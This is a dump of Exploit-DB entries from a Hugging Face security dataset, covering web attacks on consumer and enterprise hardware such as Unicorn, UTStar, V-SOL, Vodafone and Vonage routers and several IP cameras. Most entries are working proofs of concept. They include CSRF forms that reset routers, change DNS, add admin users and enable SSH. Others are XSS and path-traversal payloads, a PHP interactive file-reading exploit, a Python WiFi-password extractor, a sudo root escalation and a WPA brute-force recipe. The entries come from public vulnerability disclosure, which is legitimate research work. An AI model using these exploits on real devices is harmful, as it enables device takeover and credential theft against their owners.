deardaniel/secdata-raw huggingface dataset:
Exploit-DB #29312
Description: Unicorn Router WB-3300NR - Cross-Site Request Forgery (Factory Reset/DNS Change)
Type: webapps
Platform: hardware
Date: 2013-10-30
Author: absane

Exploit:
# Exploit Title:     Unicorn Router WB-3300NR CSRF (Factory Reset/DNS Change)
# Exploit Author:    absane
# Blog:              http://blog.noobroot.com
# Discovery date:    October 29th 2013   
# Vendor Homepage:   http://www.eunicorn.co.kr/kimsboard7/_product.php?inc=wb-3300nr    
# Tested on:         Unicorn WB-3300NR v1.0
# Firmware Version:  V5.07.18_ko_UIS02       

***************
*Vulnerability*
***************
The WB-3300NR Unicorn Router suffers from numerous CSRF vulnerabilities.
Considering that by default the administrative pages do not require authentication, countless exploits exist.

******************
*Proof of Concept*
******************

1) Factory Reset

<html><body>
<iframe height=0 width=0 id="cantseeme" name="cantseeme"></iframe>
<form name="csrf_form" action="http://192.168.123.254/goform/SysToolRestoreSet" method="post" target="cantseeme">
<input type="hidden" name="CMD" value='SYS_CONF'>
<input type="hidden" name="GO" value='system_reboot.asp'>
<input type="hidden" name="CCMD" value='0'>
<script>document.csrf_form.submit();</script>
</body></html>


2) Alter the DNS Settings

<html><body>
<iframe height=0 width=0 id="cantseeme" name="cantseeme"></iframe>
<form name="csrf_form" action="http://192.168.123.254/goform/AdvSetDns" method="post" target="cantseeme">
<input type="hidden" name="GO" value='wan_dns.asp'>
<input type="hidden" name="rebootTag" value=''>
<input type="hidden" name="DSEN" value='1'>
<input type="hidden" name="DNSEN" value='on'>
<input type="hidden" name="DS1" value='8.8.4.4'>
<input type="hidden" name="DS2" value='8.8.8.8'>
<script>document.csrf_form.submit();</script>
</body></html>


3) WPA Password Disclosure (possibility)(not proven)

The following PoC code only demostrates that with CSRF and XSS, it might be possible to obtain the WPA password.
However, I have been unable to do so without forcing the router to revert to factory defaults.

<html><body>
<iframe height=0 width=0 id="cantseeme" name="cantseeme"></iframe>
<form name="csrf_form" action="http://192.168.123.254/goform/WizardHandle" method="post" target="cantseeme">
<input type="hidden" name="MACC" value='"; var x = ""; function y() {alert(def_wirelesspassword);} x = window.setTimeout(y,2000);//'>
<script>document.csrf_form.submit();</script>
</body></html>
Exploit-DB #51130
Description: Uniview NVR301-04S2-P4 - Reflected Cross-Site Scripting (XSS)
Type: webapps
Platform: hardware
Date: 2023-03-29
Author: Bleron Rrustemi

Exploit:
# Exploit Title: Uniview NVR301-04S2-P4 - Reflected Cross-Site Scripting (XSS)
# Author: Bleron Rrustemi
# Discovery Date: 2022-11-15
# Vendor Homepage: https://www.uniview.com/tr/Products/NVR/Easy/NVR301-04S2-P4/
# Datasheet:: https://www.uniview.com/download.do?id=1761643
# Device Firmware: NVR-B3801.20.15.200829
# Tested Version: NVR301-04S2-P4
# Tested on: Windows 10 Enterprise LTSC 64\Firefox 106.0.5 (64-bit)
# Vulnerability Type: Reflected Cross-Site Scripting (XSS)
# CVE: N/A

 

 

# Proof of Concept:

IP=IP of the device

http://IP/LAPI/V1.0/System/Security/Login/"><script>alert('1')</script>

 

Best regards,

Bleron Rrustemi
Chief Technology Officer
Direct: +383 (0) 49 955 503
E-mail:  <mailto:bleron@drugeza.com> bleron@drugeza.com
  


 <http://> 

Drugëza SHPK
Rr. Lekë Dukagjini p.n
Prishtinë, 10000 • Kosovo
​Tel.: +383 49 955 503
www.drugeza.com
​

 

ü Be GREEN, keep it on the SCREEN
Exploit-DB #30358
Description: UPC Ireland Cisco EPC 2425 Router / Horizon Box - WPA-PSK Handshake Information
Type: webapps
Platform: hardware
Date: 2013-12-16
Author: Matt O'Connor

Exploit:
# Exploit Title: UPC Ireland Cisco EPC 2425 Router / Horizon Box
# Google Dork: 
# Date: 11/12/2013
# Author: Matt O'Connor / Planit Computing
# Advisory Link:  http://www.planitcomputing.ie/upc-wifi-attack.pdf 
# Version: 
# Category: Remote
# Tested on: Cisco EPC 2425 / Horizon Box



The Cisco EPC 2425 routers supplied by UPC are vulnerable to an offline dictionary attack if the WPA-PSK handshake is obtained by an attacker.
 
The WPA-PSK pass phrase has the following features:
	Random
	A to Z Uppercase only
	8 characters long
	208,827,064,576 possible combinations ( AAAAAAAA  ZZZZZZZZ ) 26^8
 
We notified UPC about the problem in November 2011 yet UPC are still supplying customers with newer modems / horizon boxes that use this algorithm.
At the time, graphics cards were expensive and clustering several machines was not financially viable to the average hacker.

We recently purchased a used rig, comprising off:
	Windows 7
	I3 Processor
	4GB RAM
	2TB Drive
	Radeon HD 5850


We generated 26 dictionary files using mask processor by ATOM, piping each letter out to its own file, for example:

A:  ./mp32 A?u?u?u?u?u?u?u > A.TXT = AAAAAAAA  AZZZZZZZ
B: ./mp32 B?u?u?u?u?u?u?u > B.TXT = BAAAAAAA  BZZZZZZZ
etc

Each .txt file weighed in at around 60GBs each.  The 26 files took up about 1.6TB of storage.

We now had the complete key space, partitioned into 26 different files.  This allowed us to distribute the brute force attack amongst multiple computers.  There are other ways with ocl-hashcat but this was the simplest.

Using our Radeon HD5850 on standard settings, we were hitting 80,000 keys per second.  Breakdown below:

	26^8 = 208,827,064,576 ( 208 billion possible combinations )
	26^8 / 80,000 keys per second = 2,610,338 seconds
	2,610,338 / 60 seconds = 43,505 minutes
	43,505 / 60 minutes = 725 hours
	725 hours / 24 hours = 30 Days

For 185, we had built a computer that could crack the default UPC wireless password within 30 days.  The WPA-PSK handshake we used started with the letter D and was cracked within 96 hours.

We ended up getting a second machine for the same price which resulted in our maximum cracking time being reduced to 15 days.

If youre using the default password on your UPC broadband connection, we recommend changing it immediately to a more secure password, using a mix of letters, numbers and symbols.
Exploit-DB #42739
Description: UTStar WA3002G4 ADSL Broadband Modem - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2017-09-15
Author: Gem George

Exploit:
# Exploit Title: UTStar WA3002G4 ADSL Broadband Modem Authentication Bypass Vulnerability
# CVE: CVE-2017-14243
# Date: 15-09-2017
# Exploit Author: Gem George
# Author Contact: https://www.linkedin.com/in/gemgrge
# Vulnerable Product: UTStar WA3002G4 ADSL Broadband Modem
# Firmware version: WA3002G4-0021.01
# Vendor Homepage: http://www.utstar.com/
# Reference: https://www.techipick.com/iball-baton-adsl2-home-router-utstar-wa3002g4-adsl-broadband-modem-authentication-bypass


Vulnerability Details
======================
The CGI version of the admin page of UTStar modem does not authenticate the user and hence any protected page in the modem can be directly accessed by replacing page extension with cgi. This could also allow anyone to perform operations such as reset modem, change passwords, backup configuration without any authentication. The modem also disclose passwords of each users (Admin, Support and User) in plain text behind the page source. 

How to reproduce
===================
Suppose 192.168.1.1 is the device IP and one of the admin protected page in the modem is  http://192.168.1.1/abcd.html, then the page can be directly accessed as as http://192.168.1.1/abcd.cgi

Example URLs:
* http://192.168.1.1/info.cgi – Status and details
* http://192.168.1.1/upload.cgi – Firmware Upgrade
* http://192.168.1.1/backupsettings.cgi – perform backup settings to PC
* http://192.168.1.1/pppoe.cgi – PPPoE settings
* http://192.168.1.1/resetrouter.cgi – Router reset
* http://192.168.1.1/password.cgi – password settings

POC
=========
* https://www.youtube.com/watch?v=-wh1Y_jXMGk


 -----------------------Greetz----------------------
++++++++++++++++++ www.0seccon.com ++++++++++++++++++
 Saran,Jithin,Dhani,Vignesh,Hemanth,Sudin,Vijith,Joel
Exploit-DB #47434
Description: V-SOL GPON/EPON OLT Platform 2.03 - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2019-09-27
Author: LiquidWorm

Exploit:
# Exploit Title: V-SOL GPON/EPON OLT Platform 2.03 - Cross-Site Request Forgery
# Author: LiquidWorm 
# Discovery Date: 2019-09-26 
# Vendor: Guangzhou V-SOLUTION Electronic Technology Co., Ltd.
# Product web page: https://www.vsolcn.com
# Tested on: GoAhead-Webs
# Advisory ID: ZSL-2019-5536
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5536.php
# Affected version: V2.03.62R_IPv6
# V2.03.54R
# V2.03.52R
# V2.03.49
# V2.03.47
# V2.03.40
# V2.03.26
# V2.03.24
# V1.8.6
# V1.4

Summary: GPON is currently the leading FTTH standard in broadband access
technology being widely deployed by service providers around the world.
GPON/EPON OLT products are 1U height 19 inch rack mount products. The
features of the OLT are small, convenient, flexible, easy to deploy, high
performance. It is appropriate to be deployed in compact room environment.
The OLTs can be used for 'Triple-Play', VPN, IP Camera, Enterprise LAN and
ICT applications.

Desc: The application interface allows users to perform certain actions via
HTTP requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.


CSRF add admin:
---------------

<html>
  <body>
    <form action="http://192.168.8.200/action/user.html" method="POST">
      <input type="hidden" name="user_name_add" value="Spy" />
      <input type="hidden" name="user_password_add" value="pass123" />
      <input type="hidden" name="password_confirm_add" value="pass123" />
      <input type="hidden" name="user_role" value="1" />
      <input type="hidden" name="user_name_mod" value="" />
      <input type="hidden" name="user_password_mod" value="" />
      <input type="hidden" name="password_confirm_mod" value="" />
      <input type="hidden" name="user_role_mod" value="0" />
      <input type="hidden" name="option_um" value="100/" />
      <input type="hidden" name="who" value="0" />
      <input type="submit" value="Init" />
    </form>
  </body>
</html>


CSRF enable SSH:
----------------

<html>
  <body>
    <form action="https://192.168.8.200/action/sshglobal.html" method="POST">
      <input type="hidden" name="ssh_enable" value="1" />
      <input type="hidden" name="ssh_version" value="2" />
      <input type="hidden" name="auth_retries" value="6" />
      <input type="hidden" name="ssh_timeout" value="120" />
      <input type="hidden" name="ssh_modulus" value="2048" />
      <input type="hidden" name="who" value="0" />
      <input type="submit" value="Init" />
    </form>
  </body>
</html>
Exploit-DB #47433
Description: V-SOL GPON/EPON OLT Platform 2.03 - Unauthenticated Configuration Download
Type: webapps
Platform: hardware
Date: 2019-09-27
Author: LiquidWorm

Exploit:
# Title: V-SOL GPON/EPON OLT Platform 2.03 - Unauthenticated Configuration Download
# Date: 2019-09-27
# Author: LiquidWorm
# Vendor: Guangzhou V-SOLUTION Electronic Technology Co., Ltd.
# Product web page: https://www.vsolcn.com
# Affected version: V2.03.62R_IPv6
# V2.03.54R
# V2.03.52R
# V2.03.49
# V2.03.47
# V2.03.40
# V2.03.26
# V2.03.24
# V1.8.6
# V1.4

Summary: GPON is currently the leading FTTH standard in broadband access
technology being widely deployed by service providers around the world.
GPON/EPON OLT products are 1U height 19 inch rack mount products. The
features of the OLT are small, convenient, flexible, easy to deploy, high
performance. It is appropriate to be deployed in compact room environment.
The OLTs can be used for 'Triple-Play', VPN, IP Camera, Enterprise LAN and
ICT applications.

Desc: The device OLT Web Management Interface is vulnerable to unauthenticated
configuration download and information disclosure vulnerability when direct
object reference is made to the usrcfg.conf file using an HTTP GET method. This
will enable the attacker to disclose sensitive information and help her in
authentication bypass, privilege escalation and/or full system access.

Tested on: GoAhead-Webs


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5534
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5534.php

25.09.2019

--
# PoC

1# curl http://192.168.8.200/device/usrcfg.conf
2# curl http://192.168.8.201/action/usrcfg.conf
Exploit-DB #42352
Description: VACRON VIG-US731VE 1.0.18-09-B727 IP Camera - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2017-07-20
Author: Viktoras

Exploit:
# Exploit Title: IP Camera VACRON VIG-US731VE
# Date: 2017-07-18
# Exploit Author: anonymous
# Vendor Homepage: www.vacron.com
# Version: V1.0.18-09-B727

1. doesn't require credentials to fetch snapshot like this: http://192.168.0.200/ipcam/jpeg
2. allows "viewer" level user to fetch any camera setting, eg admin user and password: http://192.168.0.200/vb.htm?adminid&adminpwd


there is newer firmware available from the vendor, but I haven't tested on that one.
Exploit-DB #45030
Description: VelotiSmart WiFi B-380 Camera - Directory Traversal
Type: webapps
Platform: hardware
Date: 2018-07-16
Author: Miguel Mendez Z

Exploit:
Title: Vulnerability in VelotiSmart Wifi - Directory Traversal
Date: 12-07-2018
Scope: Directory Traversal
Platforms: Unix
Author: Miguel Mendez Z
Vendor: VelotiSmart
Version: B380
CVE: CVE-2018–14064


Vulnerability description
-------------------------
- The vulnerability that affects the device is LFI type in the uc-http service 1.0.0. What allows to obtain information of configurations, wireless scanned networks, sensitive directories, etc. Of the device.

Vulnerable variable:
http://domain:80/../../etc/passwd

Exploit link:
https://github.com/s1kr10s/ExploitVelotiSmart

Poc:
https://medium.com/@s1kr10s/velotismart-0day-ca5056bcdcac
Exploit-DB #40284
Description: VideoIQ Camera - Local File Disclosure
Type: webapps
Platform: hardware
Date: 2016-08-22
Author: Yakir Wizman

Exploit:
<?php
# VideoIQ Camera Remote File Disclosure 0day Exploit
# 
# VideoIQ develops intelligent video surveillance cameras using edge video IP security cameras paired with video analytics.
#
# Exploit Coded & Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman) 

# Date 20/08/2016
# Shodan Dork 		: title:"VideoIQ Camera Login"
# Version Affected 	: All Versions
# Vendor Homepage	: http://avigilon.com
# CVE				: N/A
# Description		: VideoIQ is vulnerable to remote file disclosure which allows to any unauthenticated user read any file system including file configurations.
###
# Exploit code:

error_reporting(0);

$error[0] = "[!] This script is intended to be launched from the cli.";
 
if(php_sapi_name() <> "cli")
	die($error[0]);
     
if($argc < 3) {
	echo("\nUsage  : php {$argv[0]} <host> <port>");
	echo("\nExample: php {$argv[0]} localhost 8080");
	die();
}

if(isset($argv[1]) && isset($argv[2])) {
	$host = $argv[1];
	$port = $argv[2];
}

$pack = "GET /%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C..{FILE_PATH} HTTP/1.0\r\n";
$pack.= "Host: {$host}\r\n";
$pack.= "Connection: close\r\n\r\n";

while(1) {
	if(strstr(http_send($host, $port, preg_replace("/{FILE_PATH}/", '/etc/passwd', $pack)), 'root')) {
		echo("\nAnonymous@{$host}:~# cat ");
		if(($file = trim(fgets(STDIN))) == "exit")
			break;
		$ret = http_send($host, $port, preg_replace("/{FILE_PATH}/", $file, $pack));
		if(strstr($ret, '<title>Error 404 NOT_FOUND</title>') || strstr($ret, '<p>Problem accessing') || strstr($ret, '<h2>HTTP ERROR 404</h2>')) {
			echo("cat: {$file}: No such file or directory");
		} else {
			echo($ret);
		}
	} else {
		echo("[-] Server likely not vulnerable.\n");
		break;
	}
}

function http_send($host, $port, $pack) {
	if(!($sock = fsockopen($host, $port)))
		die("\n[-] No response from {$host}\n");
	fwrite($sock, $pack);
	$response = explode("\r\n\r\n", stream_get_contents($sock));
	return($response[1]);
}
?>
Exploit-DB #50104
Description: Visual Tools DVR VX16 4.2.28 - Local Privilege Escalation
Type: webapps
Platform: hardware
Date: 2021-07-06
Author: Andrea D\'Ubaldo

Exploit:
# Exploit Title: Visual Tools DVR VX16 4.2.28 - Local Privilege Escalation
# Date: 2021-07-05
# Exploit Author: Andrea D'Ubaldo
# Vendor Homepage: https://visual-tools.com/
# Version: Visual Tools VX16 v4.2.28.0
# Tested on: VX16 Embedded Linux 2.6.35.4.

#An attacker can perform a system-level (root) local privilege escalation abusing unsafe Sudo configuration.

sudo mount -o bind /bin/sh /bin/mount
sudo mount
Exploit-DB #19859
Description: Vivotek Cameras - Sensitive Information Disclosure
Type: webapps
Platform: hardware
Date: 2012-07-16
Author: GothicX

Exploit:
 Exploit Title: Vivotek Full Data Source CONFIG
# Date: 09/07/12
# Author: Alejandro Leon Morales  [GothicX]
# Author Mail: Gothicx[at]freaknetwork[dot]in 
# Author Web: www.undermx.blogspot.mx
# Sofware web: www.vivotek.com
# Vulnerable version: all 
# Tested on:  Microsoft windows 7 / Vista / XP/ MacOS
# Dork:    "/setup/config.html"  ||allinurl:"setup/parafile.html"

 
[PoC]
 
http://server/cgi-bin/admin/getparam.cgi 


[INFO SENSIBLE]

ACCOUNT FTP
ACCOUNT DYNDNS 

[Result]

ddns_enable='1'
ddns_provider='DyndnsDynamic'
ddns_Safe100_hostname=''
ddns_Safe100_usernameemail=''
ddns_Safe100_passwordkey=''
ddns_DyndnsDynamic_hostname='hostname'
ddns_DyndnsDynamic_usernameemail='usernameemail'
ddns_DyndnsDynamic_passwordkey='passwordkey'
ddns_DyndnsCustom_hostname=''
ddns_DyndnsCustom_usernameemail=''
ddns_DyndnsCustom_passwordkey=''
ddns_TZO_hostname=''
ddns_TZO_usernameemail=''
ddns_TZO_passwordkey=''
ddns_DHS_hostname=''
ddns_DHS_usernameemail=''
ddns_DHS_passwordkey=''
ddns_DynInterfree_hostname=''
ddns_DynInterfree_usernameemail=''
ddns_DynInterfree_passwordkey=''
ddns_CustomSafe100_hostname=''
ddns_CustomSafe100_usernameemail=''
ddns_CustomSafe100_passwordkey=''
ddns_CustomSafe100_servername=''
server_i0_type='ftp'
server_i0_http_url='http://'
server_i0_http_username=''
server_i0_http_passwd=''
server_i0_ftp_address='FTPADDRESS'
server_i0_ftp_username='FTPUSERNAME'
server_i0_ftp_[CREDENTIAL_REDACTED]'
server_i0_ftp_port='21'
server_i0_ftp_passive='1'
server_i0_ftp_location='\\temp\\record'
----------------------------------------------------------------------------------------------------


[Sensitive data]

FTP ACCOUNTS:  server_i0_ftp_address='FTPADDRESS'
                                 server_i0_ftp_username='FTPUSERNAME'
                                 server_i0_ftp_[CREDENTIAL_REDACTED]'

DYNDNS ACCOUNTS: ddns_DyndnsDynamic_hostname='hostname'
                                         ddns_DyndnsDynamic_usernameemail='usernameemail'
                                         ddns_DyndnsDynamic_passwordkey='passwordkey'




//*************************************************************************************//
                                    Special Greetz: Maztor, Zeus, Klanx, Makuaz, Alverid, zer0 z0org
Exploit-DB #50636
Description: Vodafone H-500-s 3.5.10 - WiFi Password Disclosure
Type: webapps
Platform: hardware
Date: 2022-01-05
Author: Daniel Monzón

Exploit:
# Exploit Title: Vodafone H-500-s 3.5.10 - WiFi Password Disclosure
# Date: 01/01/2022
# Exploit Author: Daniel Monzón (stark0de)
# Vendor Homepage: https://www.vodafone.es/
# Software Link: N/A
# Version: Firmware version Vodafone-H-500-s-v3.5.10
# Hardware model: Sercomm VFH500

# The WiFi access point password gets disclosed just by performing a GET request with certain headers

import requests
import sys
import json
if len(sys.argv) != 2:
print("Usage: python3 vodafone-pass-disclose.py http://IP")
sys.exit()
url = sys.argv[1]+"/data/activation.json"
cookies = {"pageid": "129"}
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101

Firefox/78.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-
Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-
With": "XMLHttpRequest", "Connection": "close", "Referer":"http://192.168.0.1/activation.html?mode=basic&lang=en-es&step=129"}

req=requests.get(url, headers=headers, cookies=cookies)
result=json.loads(req.text)[3].get("wifi_password")
print("[+] The wifi password is: "+result)
Exploit-DB #43150
Description: Vonage VDV23 - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2017-11-16
Author: Nu11By73

Exploit:
# Exploit Title: Vonage Home Router – Stored Xss
# Date: 16/11/2017
# Exploit Author: Nu11By73
# Hardware Version: VDV-23: 115
# Software Version: 3.2.11-0.9.40
# CVE : CVE-2017-16843



NewKeyword Parameter:

1. Login to the router
2. Click advanced setup
3. Click parental controls
4. In the block these keywords text box enter: test”><script>alert(1)</script>
5. Click the add keyword button to receive the pop up. 


NewDomain Parameter:

1. Login to the router
2. Click advanced setup
3. Click parental controls
4. In the block these websites text box enter: test”><script>alert(1)</script>
5. Click the add domain button to receive the pop up.

Proof of concept code:

NewDomain.html
<!—Note: The x and y values will need to be changed accordingly
<html>
<p>Authenticated Stored CSRF/XSS - Vonage Modem</p>
<form method="POST" action="http://192.168.15.1/goform/RgParentalBasic">
<input type="hidden" name="RemoveContentRule" value="0" />
<input type="hidden" name="AddContentRule" value="0" />
<input type="hidden" name="ContentRules" value="0" />
<input type="hidden" name="RuleSelect" value="0" / >
<input type="hidden" name="NewKeyword" value="" / >
<input type="hidden" name="KeywordAction" value="0" />
<input type="hidden" name="NewDomain" value="test'><script>alert(1)</script>" />
<input type="hidden" name="x" value="50" />
<input type="hidden" name="y" value="15" />
<input type="hidden" name="DomainAction" value="1" />
<input type="hidden" name="AllowedDomainAction" value="0" />
<input type="hidden" name="ParentalPassword" value="Broadcom" />
<input type="hidden" name="ParentalPasswordReEnter" value="Broadcom" />
<input type="hidden" name="AccessDuration" value="30" />
<input type="submit" title="Exploit" />
</form>
</html>

NewKeyword.html
<!—Note: The x and y values will need to be changed accordingly
<html>
<p>Authenticated Stored CSRF/XSS - Vonage Modem</p>
<form method="POST" action="http://192.168.15.1/goform/RgParentalBasic">
<input type="hidden" name="RemoveContentRule" value="0" />
<input type="hidden" name="AddContentRule" value="0" />
<input type="hidden" name="ContentRules" value="0" />
<input type="hidden" name="RuleSelect" value="0" / >
<input type="hidden" name="NewKeyword" value="test'><script>alert(1)</script>" / >
<input type="hidden" name="x" value="61" />
<input type="hidden" name="y" value="12" />
<input type="hidden" name="KeywordAction" value="1" />
<input type="hidden" name="NewDomain" value="" />
<input type="hidden" name="DomainAction" value="0" />
<input type="hidden" name="AllowedDomainAction" value="0" />
<input type="hidden" name="ParentalPassword" value="Broadcom" />
<input type="hidden" name="ParentalPasswordReEnter" value="Broadcom" />
<input type="hidden" name="AccessDuration" value="30" />
<input type="submit" title="Enable Service" />
</form>
</html>